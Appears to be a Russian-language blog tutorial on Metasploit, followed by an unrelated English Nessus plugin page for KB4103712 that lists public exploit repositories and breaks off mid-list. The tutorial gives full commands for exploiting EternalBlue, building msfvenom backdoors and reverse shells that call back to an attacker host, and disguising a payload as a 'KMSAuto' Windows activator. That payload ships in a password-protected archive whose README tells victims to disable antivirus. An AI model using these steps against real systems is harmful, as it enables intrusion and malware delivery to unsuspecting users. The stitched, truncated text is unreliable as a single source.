Ранее я писал о составе модулей MSF и таком типе, как вспомогательные модули (auxiliary). Представим, что у нас есть для проверки офис, в котором 30-40 машин под управлением системы Microsoft Windows, а так же сервер на ОСи того же вендора. Знакомая ситуация, не правда ли? И вот нам надо узнать, есть ли в сети устройства, к которым применим старый, но все еще актуальный эксплоит с кодовым именем EternalBlue или MS17-010 (уязвимости подвержены все версии Windows, начиная с Windows XP и заканчивая Windows Server 2016). По типу исполнения, это удаленный эксплоит, как и тот, что мы рассмотрели ранее. Но там мы имели дело с одной машиной, а тут их десятки. Для ускорения задачи, нам и поможет специальный скан-модуль, который будет сканировать все устройства в сети и искать те, которые уязвимы перед EternalBlue.

Покажу наглядно пример ниже.

ВАЖНО! Для того, чтобы повторить данный пример, понадобится подготовить еще 2 машины, с Windows Server 2008 R2 и Windows 7 с последними обновлениями. Уязвимости EternalBlue подвержены все версии Micorosoft Windows использующие уязвимую версию протокола SMBv1, в которых отсутствует мартовский патч 2017 года исправляющий ее.

Список наиболее уязвимых систем следующий:

  • Windows Server 2012 R2 Standard 9600: 352,886

  • Windows Server 2008 R2 Enterprise 7601 Service Pack 1: 111,331

  • Windows Server 2008 R2 Standard 7601 Service Pack 1: 67,761

  • Windows Server 2008 R2 Datacenter 7601 Service Pack 1: 57,295

  • Windows Server 2016 Standard 14393: 53,005

  • Windows Server 2012 R2 Datacenter 9600: 47,122

  • Windows 7 Professional 7601 Service Pack 1: 36,454

  • Windows 7 Ultimate 7601 Service Pack 1: 33,886

  • Windows 10 Home 17134: 29310: 29.310

  • Windows 7 Home Premium 7601 Service Pack 1: 26,781

Представим сеть среднестатистического офиса небольшой компании либо госконторы обслуживаемую среднестатистическим эникейщиком со среднестатистической зарплатой до 30 тысяч рублей. Знакомо? Мне тоже. В этой сети есть некий файловый сервер представляющий из себя ПК на Windows Server 2008 c расшаренными папками и отключенным для удобства брандмауэром (сеть-то локальная! А от хакеров защищает NAT на роутере). Так же в сети есть компьютер на базе Windows 7 на котором «кто-то иногда что-то печатает» и еще «антивирус ставить не стали потому что он слабенький по параметрам, но пока рабочий».

Все это — ничто иное, как печальная окружающая нас повседневно реальность с которой приходится мириться ровно до тех пор, пока «Неуловимый Джо», наконец, не станет кому-то да нужен.

И так, с сетью офиса все понятно, пора приступать к делу. Запускаем msfconsole и ищем все, что связано со словом eternalblue.

По запросу в базе Metasploit поиск выдает несколько вариантов. Самый первый вариант — это сам эксплоит, который даст нам удаленный доступ к машине в том случае если в ней есть данная уязвимость, но нас интересует auxiliary/scanner/smb/smb_ms17_010, который может в считанные минуты просканировать всю сеть и дать полный расклад по уязвимым машинам. Проверим как это работает. Выберем нужный пункт командой use 3, зададим в параметре RHOSTS всю сеть для сканирования по 24 маске 192.168.1.0/24 и запустим сканирование командой run.

Как мы видим, сканер проверил всю сеть и отметил IP адрес уязвимой машины. Ей оказался некий сервер на базе Windows Server 2008 (В сети так же присутствует машина на базе Windows 7, но со всеми последними доступными для нее обновлениями безопасности. Тут наш EternalBlue бессилен, но ей мы займемся позже).

Проверим для начала, сможем ли мы подключиться без логина и пароля к файловому серверу.

Увы, но сервер требует при подключении аутентификацию и шлет нас лесом.

Теперь выберем наш эксплоит командой use 0, посмотрим какие виды полезных нагрузок нам тут доступны — команда show payloads (если не выбрать полезную нагрузку вручную, то автоматически будет выбран windows/x64/meterpreter/reverse_tcp)

Список весьма внушительный, но нам надо выбрать тот вариант, который сработает наверняка. Дело в том, что далеко не каждый payload в данной и любой другой ситуации может отработать чисто. Многие из них возвращают ошибку вроде этой

Снова небольшое отступление в сторону теории.

Соединение типа bind_tcp — это тип взаимодействия с атакуемым устройством, в котором на машине жертвы запускается процесс прослушивающий определённый порт, ожидая, пока атакующий подключится к нему (прямое входящее соединение).

Соединение типа reverse_tcp — это тип взаимодействия с атакуемым устройством, в котором на машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие брандмауэры настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти фильтрацию брандмауэра (обратное, исходящее соединение).

В данном случае, я выбираю payload/windows/x64/meterpreter/bind_tcp, поскольку у нас не стоит задача обходить блокировку правил брандмауэра Windows, а достаточно лишь выполнить прямое соединение с целевой машиной.

Далее задаем адрес целевой машины командой set RHOSTS 192.168.1.11, указываю тип ОС на атакуемой машине (чтобы посмотреть доступные цели введем команду show targets), и, проверив на всякий случай опции, убедимся, что все в порядке и мы готовы к запуску эксплоита.

Собственно, запускаем сам эксплоит!

Как видно на скриншоте, эксплоит успешно запустился и мы получили сессию meterpreter.

Отлично! Введем команду shell, чтобы получить привычный виндовый command shell и иметь возможность выполнять виндовые команды. Выведем список зарегистрированных пользователей системы командой net user и сетевую статистику подключений net stat

Есть тут один косяк — проблема с кириллическими символами. Решается русской локализацией самой системы Kali Linux команда sudo dpkg-reconfigure locales

И выбираем ru_RU.UTF-8 UTF-8

Я же не стану заморачиваться с этим, и просто приложу ниже скриншот из командной строки целевой машины

И так, в примерах выше мы рассмотрели работу удаленного типа эксплоита, который может эксплуатировать уязвимость на целевом хосте взаимодействуя с ним через сеть. Но что же делать в том случае, если машина уязвима только перед локальным эксплоитом? В этом случае нам необходимо создать некий бэкдор либо троянец и запустить его на целевой машине.

Т.е. тут мы рассматриваем более сложный сценарий, где для осуществления взлома необходимо применить методы социальной инженерии и заставить жертву запустить исполняемый файл на своей локальной машине.

На подобные случаи в составе Metasploit имеется отдельный модуль, как msfvenom – мощнейший инструмент для генерации пэйлоадов под разные архитектуры систем.

Для начала немного погрузимся в теорию вредоносного ПО и разберемся что есть что из вышеперечисленного.

Бэкдор (backdoor) – это вид вредоносного ПО, главной задачей которого является дающая предоставление несанкционированного доступа к удаленному устройству

В нашем случае, генерируемая с помощью msfvenom полезная нагрузка является бэкдором.

Троянец (trojan) – это вид вредоносного ПО, главной задачей которого является маскировка под легитимную программу. Он так же несёт в себе полезную нагрузку, чаще всего которой является бэкдор.

Т.е. если мы к файлу setup.exe любой программы либо игры под OC Windows добавляем полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и добавили файл в автозагрузку – то это будет бэкдор.

Далее рассмотрим существующие типы пэйлоадов, в составе Metasploit.

Single – это тип полезной нагрузки выполняющий простые одиночное команды.

Он позволяет создавать нового пользователя в скомпрометированной системе или запустить какой-либо исполняемый файл.

Stager – это тип полезной нагрузки основной задачей которого является создание сетевого соединения между машиной атакующего и машиной жертвы. Далее последующие компоненты подгружаются при подключении stage.

Stage – это тип нагрузки, который загружается не полностью, а поэтапно и имеет, как правило, довольно обширный функционал. Применяется в тех случаях когда необходимо получить VNC либо Meterpreter сессию. К недостаткам данного типа нагрузок можно отнести большой объем занимаемой оперативной памяти (хотя в современных компьютерах совсем не критично).

Что ж, снова мы немного пробежались по теории, и можем вернуться к практике.

Все дальнейшие опыты мы будем проводить на машине под управлением ОС Windows 7, на которой будут установлены все последние доступные для нее обновления безопасности, но выключен брандмауэр и отсутсвует какое-либо антиврусное ПО. У меня такая машина уже есть (о ней я писал ранее), ты же, дорогой читатель, можешь скачать любую 7-ку с последними обновлениями там, где мы обычно любим это делать.

Для начала запустим машину с Kali Linux и в консоли вводим команду msfvenom -h чтобы посмотреть все доступные параметры модуля

Список не особо длинный и из него для генерации полезной нагрузки обязательными являются два флага: -p – сам payload и -f – формат файла на выходе (например .exe).

Для того, чтобы вывести список всех доступных пэйлоадов введем msfvenom -l payloads

На момент написания статьи в базе у Metasploit доступно 867 пэйлоадов для различных платформ. В начале каждого пэйлоада идет название платформы: windows, linux, android, osx и т. д. далее может идти используемая техника подключения (тип пэйлоада, которые мы рассматривали ранее), в самом конце будет указана основная цель полезной нагрузки.

Приступим к созданию нашего первого пэйлоада. Это будет windows/meterpreter/bind_tcp

Команда будет выглядеть следующим образом

msfvenom -p windows/meterpreter/bind_tcp -f exe > /home/kali/Desktop/backdoor.exe

По завершению генерации, исполняемый файл backdoor.exe сохранится на рабочем столе.

В случае запуска данного файла на компьютере жертвы, откроется доступ к нему по порту 4444 (порт стандартный для всех пэйлоадов, но его при желании можно изменить).

Следовательно, для того, чтобы получить к машине доступ, нам нужен будет некий Listener – программа, которая будет слушать заданный порт и позволит открыть сессию.

Для этого запустим msfconsole и введем команду use exploit/multi/handler которая откроет нам тот самый эксплоит который работает listener который будет слушать нужный порт и откроет нам сессию в случае успеха.

В нем необходимо задать следующие параметры:

set payload windows/meterpreter/bind_tcp – выбираем тот же payload, что и в созданном файле.

set rhost 192.168.11.149 – указываем IP адрес целевого устройства (статью писал дома и на работе, так что сеть изменилась, но на суть работы это не влияет, у тебя она в любом случае будет скорее всего другой).

set lport 4444 – указываем порт который будем слушать.

run – запускаем и ждем действий со стороны жертвы.

Далее нам необходимо придумать способ для передачи файла на компьютер жертвы. Мы не будем пока особо вдаваться в тонкости социальной инженерии, а рассмотрим самый простой способ — файлообменник на базе веб-сервера Apache. Обычно он предустановлен в Kali Linux, так что достаточно будет его запустить командой systemctl start apache2.service

Скопируем созданный файл в директорию /var/www/html/

Далее, остается лишь скачать файл с целевой машины открыв в браузере ссылку с адресом машины атакующего и именем файла http://192.168.1.143/backdoor.exe запустить его.

Перейдем в окно c ожидающим соединения handler-ом и посмотрим, что произойдет после запуска файла на машине жертвы

Как видно на последнем скрине, в тот самый момент когда жертва запустила наш бэкдор, у нас открылась сессия meterpreter.

А что же в этот момент происходит в диспетчере задач на целевой машине?

Процесс backdoor.exe отображается в списке других процессов. В том случае если данный процесс завершить, то сессия тут же прервется.

На этот случай в msfvenom предусмотрен специальный тип скрытой полезной нагрузки shell_hidden_bind_tcp. Данный пэйлоад дает нам доступ не к сессии meterpreter, а к командной оболочке Windows. После выполнения процесс прячется в системе и даже если снять задачу связанную с ним в диспетчере, сессия не прервется. Рассмотрим данный способ подробнее.

Для начала перенастроим handler на использование другого эксплоита

set payload windows/shell_hidden_bind_tcp

set rhost 192.168.11.149

set ahost 192.168.11.143 – тут мы указываем разрешенный (allowed) IP адрес атакующего.

set lport 4444

run

В случае работы с командной оболочкой (с meterpreter сессией данный вариант не работает), альтернативным инструментом входящим в состав Kali является старая как мир утилита Netсat.

В ней нам будет достаточно прописать короткую команду nc 192.168.1.9 4444 и так же дождаться выполнения пэйлоада на стороне жертвы.

Однако, с учетом того, что тут мы изучаем возможности именно MSF, я предпочту остановиться на варианте с handler-ом.

Далее сгенерируем новый эксплоит:

msfvenom -p windows/shell_hidden_bind_tcp ahost=192.168.11.143 lport=4444 -f exe > /home/kali/Desktop/hidden-backdoor.exe

Затем так же копируем файл на наш сервер и скачиваем его из браузера на целевой машине.

Посмотрим, что изменится после того, как мы завершим процесс hidden-backdoor.exe в диспетчере задач.

В данном случае мы видим две активные сессии с одного и того же устройства (одна работает через handler а вторая через Netcat).

В итоге, пока атакуемая машина не будет перезапущена, или атакующая сторона не закроет соединение, оно будет продолжать работать.

И так, с прямыми подключениями все ясно. Давай немного усложним задачу и включим наш брандмауэр Windows. В этом случае вариант bind_tcp не будет работать, если не добавить файл в исключения брандмауэра. И тут нам на помощь приходит reverse_tcp, который позволит обойти блокировку входящих соединений.

В этот раз ускорю процесс и воспользуюсь вместо handler утилитой Netcat

nc -lvp 4444

Генерируем файл для удобства выгружаем сразу в директорию/var/www/html

msfvenom -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -f exe > /var/www/html/reverse-shell.exe

Скачиваем файл на машину жертвы, запускаем и…

Вроде ничего особенного. В чем же фокус? Попробуем запустить с включенным брандмауэром один из прошлых файлов с подключением типа bind_tcp

А вот и суть фокуса. В случае использования прямого соединения, брандмауэр уведомляет нас о том, что такое-то приложение хочет инициировать сетевое соединение и поэтому я заблокировал некоторые его функции. И в том случае, если пользователь не разрешит приложению доступ на входящее соединение…

Наш эксплоит, конечно, запустится НО…

Никакого удаленного шелла нам не видать в этом случае. Отсюда следует, что во всех случаях когда мы не уверены в том работает на удаленном хосте брандмауэр или нет, стоит использовать reverse_tcp.

Ну, хорошо. Допустим, что с обходом брандмауэра все понятно, но как быть в том случае если на целевой машине установлен антивирус? Как он отреагирует на подобный файл?

Интересно?) Надеюсь, что да. Продолжим наш эксперимент и усложним себе задачу.

Установим антивирус на атакуемую машину и посмотрим что произойдет с загруженным файлом hidden-backdoor.exe. Дабы не рекламировать какого-либо конкретного производителя антивирусного ПО поступим честно. Зайдем на какой-нибудь популярный сайт посвященный антивирусной защите (например, comss.ru) и выберем самый рейтинговый бесплатный антивирус.

Единственный антивирус в списке с рейтингом в 5 звезд 360 Total Security от наших братьев из Поднебесной. Что ж, скачаем и проверим на что он способен. После установки просканируем папку «Загрузки» и посмотрим на результат.

В данном случае, антивирус действительно обнаружил угрозу в загруженном ранее файле и предложил исправить проблему удалив его.

И тут возникает вполне логичный вопрос: а есть ли способ скрыть от любого антивируса полезную нагрузку при помощи инструментов доступных в составе MSF? Если отвечать на этот вопрос в 2022 году, то скорее нет чем да. Почему так? Давай разберемся.

Еще лет 5-6, одним из наиболее эффективных способов обхода антивирусного ПО в Metasploit являлась схема создания скрытой полезной нагрузки с использованием кодировщика shikata ga nai (в переводе с японского что-то вроде «с этим ничего не поделать»). Данный способ работает за счет уникального полиморфного аддитивного кодировщика XOR, благодаря которому при каждой итерации процесса кодирования шелл-кода, он будет происходить по-разному, от чего нагрузка становится для антивируса безопасной на вид. Кроме энкодера shikata_ga_nai в MSF есть и другие кодировщики с которыми можно поиграться, но маловероятно, что из этого что-то получится. Посмотреть весь список доступных кодировщиков можно с помощью команды msfvenom —list encoders

Что ж, давай проверим, есть ли еще смысл использовать при тестировании на взлом и проникновение этот метод и применим немного магии социальной инженерии (как не крути, а это самое мощное оружие злоумышленников, которое они применяют повсеместно)

План действий следующий: сначала мы подготавливаем некий шаблон (это будет импровизированный файл активатора Windows или любая подобная программа, которую пользователь будет скачивать с общедоступных файлообменников и захочет добавить в исключения), внедряем в него полезную нагрузку кодируя ее многократно при помощи shikata_ga_nai, затем проверяем результат того, насколько маскировка надежна на ресурсе virustotal.com Вне зависимости от результата включаем социальную инженерию: запаковываем наш файл в защищенный паролем архив и прилагаем к нему файлик README.txt в котором просим ОБЯЗАТЕЛЬНО на момент запуска программы и процесса активации системы ОТКЛЮЧАТЬ антивирус, дабы он не убил файл (признайся, и ты с таким сталкивался наверняка не раз). Последним шагом мы скопируем архив с паролем на импровизированный файлообменник, в ожидании пока его скачает жертва.

Для лучшего понимания следующей команды ознакомимся с параметрами используемыми

в ней:

-a <arch> архитектура набора команд (x86/x64);

--platform <platform> выбор целевой платформы (в нашем случае windows);

-p <payload> — сама полезная нагрузка (в нашем случае windows/meterpreter/reverse_tcp);

-e <encoder> — выбор кодировщика;

-i <count> — количество итераций кодирования;

-k <keep> — параметр позволяющий сохранить исходному шаблону все его первоначальные свойства;

-x <path> — путь к шаблону (исполняемому файлу легитимного ПО);

-f <format> — формат генерации, который может быть raw, exe, elf, jar, py и т.д. (для просмотра всех доступных форматов можно использовать команду —help-formats).

И так, приступим к генерации полезной нагрузки:

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp lhost=192.168.11.143 lport=4444 -e x86/shikata_ga_nai -i 20 -f exe -k -x /home/kali/Downloads/putty.exe > KMSAuto.exe

По завершению генерации загрузим для начала файл на virustotal.com и проверим, что у нас вышло:

Результат почти провальный. Большая часть антивирусных движков обнаружила угрозу, а это значит, что без приемов социальной инженерии данный файл подсунуть жертве, убедив ее отключить антивирус на момент запуска, не удастся. Что ж, создадим в директории файлообменника текстовый файл README.txt (писать мы в нем ничего не будем, но примерное содержимое текста нам известно), после чего добавим директорию KMSAuto в которую скопируем файл с пэйлоадом и README.txt. По командам примерно следующее.

Далее воспользуемся утилитой zip и добавим директорию KMSAuto со всеми вложенными файлами в защищенный паролем 11111 архив.

Проверим архив на virustotal и сравним результаты:

Как мы видим, у данного метода есть одно преимущество, антивирус не сможет начать сканировать файл до тех пор, пока он в архиве. Проверим его в деле

Как мы и предполагали, антивирус просканировал файл, и не нашел в нем никаких угроз. Далее, даже если разархивировав его пользователь увидит уведомление от антивируса, он прочтет содержимое файла README.txt и выключит на время активации свой антивирус, добровольно открыв доступ злоумышленнику.

Как мы видим, после запуска файла наш Netcat получил удаленный шелл.

Здесь мы рассмотрели всего лишь простой пример для понимания того, как можно захватить любую систему, применив лишь базовые возможности существующих инструментов и немного социальной инженерии (таким же способом можно заразить файл Excel с отчетами через VBA и отправить по почте главбуху и т.д.).

Конечно, мы разобрали лишь основную часть работы с MSF и в следующих статьях будут рассматриваться отдельные моменты по работе с этим замечательным фреймворком.

На этой ноте я прощаюсь с тобой, мой дорогой читатель, до новых встреч!

High   Plugin ID: 109604


This page contains detailed information about the KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

  • Plugin Overview
  • Vulnerability Information
    • Synopsis
    • Description
    • Solution
  • Public Exploits
  • Risk Information
  • Plugin Source
  • How to Run
  • References
  • Version

Plugin Overview


ID: 109604

Name: KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update

Filename: smb_nt_ms18_may_4103718.nasl

Vulnerability Published: 2018-05-08

This Plugin Published: 2018-05-08

Last Modification Time: 2022-03-28

Plugin Version: 1.12

Plugin Type: local

Plugin Family: Windows : Microsoft Bulletins

Dependencies:
ms_bulletin_checks_possible.nasl, smb_check_rollup.nasl, smb_hotfixes.nasl
Required KB Items [?]: SMB/MS_Bulletin_Checks/Possible

Vulnerability Information


Severity: High
Vulnerability Published: 2018-05-08
Patch Published: 2018-05-08
CVE [?]: CVE-2018-0765, CVE-2018-0824, CVE-2018-0954, CVE-2018-0955, CVE-2018-0959, CVE-2018-1022, CVE-2018-1025, CVE-2018-1039, CVE-2018-8114, CVE-2018-8120, CVE-2018-8122, CVE-2018-8124, CVE-2018-8127, CVE-2018-8136, CVE-2018-8145, CVE-2018-8164, CVE-2018-8166, CVE-2018-8167, CVE-2018-8174, CVE-2018-8178, CVE-2018-8897
CPE [?]: cpe:/o:microsoft:windows
Exploited by Malware: True

Synopsis

The remote Windows host is affected by multiple vulnerabilities.

Description

The remote Windows host is missing security update 4103712 or cumulative update 4103718. It is, therefore, affected by multiple vulnerabilities :

— An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. (CVE-2018-8897)

— A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. The vulnerability could corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2018-8178)

— An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs;
view, change, or delete data; or create new accounts with full user rights. (CVE-2018-8120, CVE-2018-8124, CVE-2018-8164, CVE-2018-8166)

— A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user.
(CVE-2018-0954, CVE-2018-1022)

— A security feature bypass vulnerability exists in .Net Framework which could allow an attacker to bypass Device Guard. An attacker who successfully exploited this vulnerability could circumvent a User Mode Code Integrity (UMCI) policy on the machine. (CVE-2018-1039)

— An information disclosure vulnerability exists when Chakra improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the users computer or data.
(CVE-2018-8145)

— A remote code execution vulnerability exists in the way that Windows handles objects in memory. An attacker who successfully exploited the vulnerability could execute arbitrary code with elevated permissions on a target system. (CVE-2018-8136)

— An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the users system. (CVE-2018-8127)

— An elevation of privilege vulnerability exists when the Windows Common Log File System (CLFS) driver improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context. (CVE-2018-8167)

— A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system. (CVE-2018-0959)

— An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the users system. (CVE-2018-1025)

— A remote code execution vulnerability exists in Microsoft COM for Windows when it fails to properly handle serialized objects. An attacker who successfully exploited the vulnerability could use a specially crafted file or script to perform actions. In an email attack scenario, an attacker could exploit the vulnerability by sending the specially crafted file to the user and convincing the user to open the file.
(CVE-2018-0824)

— A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user.
(CVE-2018-0955, CVE-2018-8114, CVE-2018-8122)

— A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. (CVE-2018-8174)

— A denial of service vulnerability exists when .NET and .NET Core improperly process XML documents. An attacker who successfully exploited this vulnerability could cause a denial of service against a .NET application. A remote unauthenticated attacker could exploit this vulnerability by issuing specially crafted requests to a .NET (or .NET core) application. The update addresses the vulnerability by correcting how .NET and .NET Core applications handle XML document processing.
(CVE-2018-0765)

Solution

Apply Security Only update KB4103712 or Cumulative Update KB4103718.

Public Exploits


Target Network Port(s): 139, 445
Target Asset(s): Host/patch_management_checks
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas, Core Impact)

Exploit Ease: Exploits are available

Here’s the list of publicly known exploits and PoCs for verifying the KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update vulnerability:

  1. Metasploit: exploit/windows/local/mov_ss
    [Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability]
  2. Metasploit: exploit/windows/local/ms18_8120_win32k_privesc
    [Windows SetImeInfoEx Win32k NULL Pointer Dereference]
  3. Metasploit: post/windows/escalate/unmarshal_cmd_exec
    [Windows unmarshal post exploitation]
  4. Exploit-DB: exploits/windows/local/44697.txt
    [EDB-44697: Microsoft Windows — ‘POP/MOV SS’ Privilege Escalation]
  5. Exploit-DB: exploits/windows/local/44906.txt
    [EDB-44906: Microsoft COM for Windows — Privilege Escalation]
  6. Exploit-DB: exploits/windows/local/45024.rb
    [EDB-45024: Microsoft Windows — POP/MOV SS Local Privilege Elevation (Metasploit)]
  7. Exploit-DB: exploits/windows/local/45653.rb
    [EDB-45653: Microsoft Windows — SetImeInfoEx Win32k NULL Pointer Dereference (Metasploit)]
  8. GitHub: https://codewhitesec.blogspot.com/2018/06/cve-2018-0624.html
    [CVE-2018-0824]
  9. GitHub: https://github.com/Ascotbe/Kernelhub
    [CVE-2018-0824]
  10. GitHub: https://github.com/Flerov/WindowsExploitDev
    [CVE-2018-0824]
  11. GitHub: https://github.com/cranelab/exploit-development
    [CVE-2018-0824]
  12. GitHub: https://github.com/ycdxsb/WindowsPrivilegeEscalation
    [CVE-2018-0824]
  13. GitHub: https://github.com/Al1ex/WindowsElevation
    [CVE-2018-8120]
  14. GitHub: https://github.com/Apri1y/Red-Team-links
    [CVE-2018-8120]
  15. GitHub: https://github.com/Ascotbe/Kernelhub
    [CVE-2018-8120]
  16. GitHub: https://github.com/DreamoneOnly/CVE-2018-8120
    [CVE-2018-8120]
  17. GitHub: https://github.com/Echocipher/Resource-list
    [CVE-2018-8120]
  18. GitHub: https://github.com/HacTF/poc—exp
    [CVE-2018-8120]
  19. GitHub: https://github.com/Hacker-One/WindowsExploits
    [CVE-2018-8120]
  20. GitHub: https://github.com/Jkrasher/WindowsThreatResearch_JKrasher
    [CVE-2018-8120]
  21. GitHub: https://github.com/L1ves/windows-pentesting-resources
    [CVE-2018-8120]
  22. GitHub: https://github.com/MrTcsy/Exploit
    [CVE-2018-8120]
  23. GitHub: https://github.com/Mr-xn/Penetration_Testing_POC
    [CVE-2018-8120]
  24. GitHub: https://github.com/QChiLan/win-exploit
    [CVE-2018-8120]
  25. GitHub: https://github.com/S3cur3Th1sSh1t/WinPwn
    [CVE-2018-8120]
  26. GitHub: https://github.com/SecWiki/windows-kernel-exploits
    [CVE-2018-8120]
  27. GitHub: https://github.com/SexyBeast233/SecBooks
    [CVE-2018-8120]
  28. GitHub: https://github.com/Smi1eSEC/Web-Security-Note
    [CVE-2018-8120]
  29. GitHub: https://github.com/StartZYP/CVE-2018-8120
    [CVE-2018-8120: This CVE-2018-8120 File]
  30. GitHub: https://github.com/ThunderJie/CVE
    [CVE-2018-8120]
  31. GitHub: https://github.com/Y0n0Y/cve-2018-8120-exp
    [CVE-2018-8120]
  32. GitHub: https://github.com/bigric3/cve-2018-8120
    [CVE-2018-8120]
  33. GitHub: https://github.com/demilson/Windows
    [CVE-2018-8120]
  34. GitHub: https://github.com/demonsec666/Security-Toolkit
    [CVE-2018-8120]
  35. GitHub: https://github.com/distance-vector/window-kernel-exp
    [CVE-2018-8120]
  36. GitHub: https://github.com/geeksniper/windows-privilege-escalation
    [CVE-2018-8120]
  37. GitHub: https://github.com/hudunkey/Red-Team-links
    [CVE-2018-8120]
  38. GitHub: https://github.com/john-80/-007
    [CVE-2018-8120]
  39. GitHub: https://github.com/leeqwind/HolicPOC
    [CVE-2018-8120]
  40. GitHub: https://github.com/lp008/Hack-readme
    [CVE-2018-8120]
  41. GitHub: https://github.com/mishmashclone/SecWiki-windows-kernel-exploits
    [CVE-2018-8120]
  42. GitHub: https://github.com/n8v79a/win-exploit
    [CVE-2018-8120]
  43. GitHub: https://github.com/nanabingies/CVE-2018-8120
    [CVE-2018-8120]
  44. GitHub: https://github.com/ne1llee/cve-2018-8120
    [CVE-2018-8120]
  45. GitHub: https://github.com/pwninx/WinPwn
    [CVE-2018-8120]
  46. GitHub: https://github.com/qiantu88/CVE-2018-8120
    [CVE-2018-8120]
  47. GitHub: https://github.com/qiantu88/cve
    [CVE-2018-8120]
  48. GitHub: https://github.com/redteampa1/Windows
    [CVE-2018-8120]
  49. GitHub: https://github.com/renzu0/Windows-exp
    [CVE-2018-8120]
  50. GitHub: https://github.com/root26/bug
    [CVE-2018-8120]
  51. GitHub: https://github.com/safesword/WindowsExp
    [CVE-2018-8120]
  52. GitHub: https://github.com/slimdaddy/RedTeam
    [CVE-2018-8120]
  53. GitHub: https://github.com/uhub/awesome-cpp
    [CVE-2018-8120]
  54. GitHub: https://github.com/valentinoJones/Windows-Kernel-Exploits
    [CVE-2018-8120]
  55. GitHub: https://github.com/washgo/HackTool
    [CVE-2018-8120]
  56. GitHub: https://github.com/wateroot/poc-exp
    [CVE-2018-8120]
  57. GitHub: https://github.com/wikiZ/cve-2018-8120
    [CVE-2018-8120]
  58. GitHub: https://github.com/xiaoZ-hc/redtool
    [CVE-2018-8120]
  59. GitHub: https://github.com/ycdxsb/WindowsPrivilegeEscalation
    [CVE-2018-8120]
  60. GitHub: https://github.com/yisan1/hh
    [CVE-2018-8120]
  61. GitHub: https://github.com/ycdxsb/WindowsPrivilegeEscalation
    [CVE-2018-8124]
  62. GitHub: https://github.com/tunz/js-vuln-db
    [CVE-2018-8145]
  63. GitHub: https://github.com/ycdxsb/WindowsPrivilegeEscalation
    [CVE-2018-8164]
  64. GitHub: https://github.com/ycdxsb/WindowsPrivilegeEscalation
    [CVE-2018-8166]
  65. GitHub: https://github.com/1120362990/Paper
    [CVE-2018-8174]
  66. GitHub: https://github.com/Apri1y/Red-Team-links
    [CVE-2018-8174]
  67. GitHub: https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections
    [CVE-2018-8174]
  68. GitHub: https://github.com/DarkFlameMaster-bit/CVE-2018-8174_EXP
    [CVE-2018-8174]
  69. GitHub: https://github.com/Echocipher/Resource-list
    [CVE-2018-8174]
  70. GitHub: https://github.com/HacTF/poc—exp
    [CVE-2018-8174]
  71. GitHub: https://github.com/InQuest/yara-rules
    [CVE-2018-8174]
  72. GitHub: https://github.com/KasperskyLab/VBscriptInternals
    [CVE-2018-8174]
  73. GitHub: https://github.com/MrTcsy/Exploit
    [CVE-2018-8174]
  74. GitHub: https://github.com/Panopticon-Project/panopticon-DarkHotel
    [CVE-2018-8174]
  75. GitHub: https://github.com/RingLcy/VulnerabilityAnalysisAndExploit
    [CVE-2018-8174]
  76. GitHub: https://github.com/dcsync/rtfkit
    [CVE-2018-8174: generate RTF exploit payload. uses cve-2017-11882, cve-2017-8570, cve-2018-0802, and …]
  77. GitHub: https://github.com/delina1/CVE-2018-8174
    [CVE-2018-8174]
  78. GitHub: https://github.com/delina1/CVE-2018-8174_EXP
    [CVE-2018-8174]
  79. GitHub: https://github.com/ericisnotrealname/CVE-2018-8174_EXP
    [CVE-2018-8174]
  80. GitHub: https://github.com/eric-erki/APT_CyberCriminal_Campagin_Collections
    [CVE-2018-8174]
  81. GitHub: https://github.com/hongriSec/Growth-Diary
    [CVE-2018-8174]
  82. GitHub: https://github.com/hudunkey/Red-Team-links
    [CVE-2018-8174]
  83. GitHub: https://github.com/iwarsong/apt
    [CVE-2018-8174]
  84. GitHub: https://github.com/john-80/-007
    [CVE-2018-8174]
  85. GitHub: https://github.com/likescam/APT_CyberCriminal_Campagin_Collections
    [CVE-2018-8174]
  86. GitHub: https://github.com/likescam/CVE-2018-8174-msf
    [CVE-2018-8174]
  87. GitHub: https://github.com/likescam/CyberMonitor-APT_CyberCriminal_Campagin_Collections
    [CVE-2018-8174]
  88. GitHub: https://github.com/lisinan988/CVE-2018-8174-exp
    [CVE-2018-8174]
  89. GitHub: https://github.com/lp008/Hack-readme
